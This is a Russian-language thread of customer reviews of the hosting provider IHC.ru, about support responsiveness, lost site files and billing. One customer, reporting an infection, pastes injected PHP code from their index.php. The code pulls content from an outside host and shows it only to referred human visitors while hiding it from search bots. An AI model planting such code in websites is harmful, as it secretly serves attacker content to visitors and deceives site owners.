IHC.ru - Качественный хостинг, VPS, сервера в надёжных ДЦ без переплаты. Скидки!

Всё ок в лисе, "Сертификат сервера SSL".

Благодарю

Я незнаю что такое. Всегда всем рекомендовал хостинг. Отличная работа, ребята молодцы.

Но сейчас случился случай, который просто, я не могу назвать ничем, как основание, чтобы сменить хостинг и никогда не возвращаться. База на месте, папки с сайтом нету. Нету и все, пишу в поддержку, ответ : платите 500 рублей восстановим. Заплачу я конечно, сайт работающий и мне не хочется терять. Спасибо за то, что хоть восстановите, но само отношение, что база на месте а файлов нет, убило просто. Нельзя так наплевательски делать.

Разобрался в чем дело. была моя ошибка, оказывается переместил сайт в другую папку. нашел восстанавливаю.

Что не понравилось. Сразу же вопрос встал, платите 500 - восстановим, понимаю работа и тд. Но все таки слегка надо бы хотя бы попробовать разобраться. Второй момент, не договорив сотрудник исчез из чата, и больше не выходил на связь, перекинув на тикеты. Разве клиент недостоин элементарно при возникновении серьезной проблемы на нормальное сотрудничество?

Вт собственно такие дела. По качеству хостинга все отлично, по работе с поддержкой возникают такие трудности.

Уточните, какой у Вас тариф? На перед предполагаю что VPS, если так, Вам сюда: http://support.ihc.ru/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=107

Ротацию бы логов. А то растут, черти )))

Мне туда не надо. Я уже все сделал. Пишу про другое.

Пользуюсь данным хостингом уже пол года, всем доволен! Считаю этот хостинг лучшим и доступным для каждого, за такие копейки - такие возможности и идеально настроенные сервера(использую vds, плачу всего 500руб).

Сегодня заметил снижение посещаемости на некоторых ресурсах, проверил - оказалось сайты заражены по index.php:

<?php
if(@$_COOKIE['act']!=1){	 	
	$u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
	echo $u4ain;
}
if(@$_COOKIE['act']!=1){	 	 	
	if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){
		$u4ain=@file_get_contents ("http://itdspartners.org/test.php");
		echo $u4ain;
	}
}
?>

Что интересно дата изменения файлов не изменилась, т.е. старая. Как такое возможно ?

И вопрос. Где я мог допустить ошибку ? Антивирус лицензионный, пароли не хранятся в программах. Хотелось бы обезопасить себя на будущее.

Причина найдена. VamShop подвёл, а точнее редактор. Может кому пригодится - http://vamshop.ru/forum/topic/10261-%D0%BF%D0%BE-%D0%BF%D0%BE%D0%B2%D0%BE%D0%B4%D1%83-%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%BE%D0%B2-%D0%B2-%D0%BC%D0%B0%D0%B3%D0%B0%D0%B7%D0%B8%D0%BD%D0%B0%D1%85/page__pid__83175#entry83175

Сегодня зашла на свой сайт - пишет ошибку 404.

Зашла в FTP, а там все файлы сайта удалены.

Убираю из ihc все свои сайты, ибо после такого не намерена там оставаться.

пользуюсь уже пол года. очень порадовала служба поддержки. была ситуация когда хостинг не получилось оплатить вовремя. последний день был 20.09 оплатил 15.10, деньги ушли за тот период, когда хостинг был отключён (спорная ситуация в принципе)...после обращения с данным вопросом, в тот же день сделали перерасчёт. спасибо!

очень странно что Вам сделали пересчет, из оферты

3.6. В течение 30 (тридцати) дней с момента окончания оплаченного периода заказ Абонента и его информация сохраняются (за исключением услуги аренды серверов). Время сохранения учетной записи и информации Абонента оплачивается Абонентом в полном размере в соответствии с предоставленными ранее услугами. По истечении этого срока вся информация Абонента автоматически удаляется.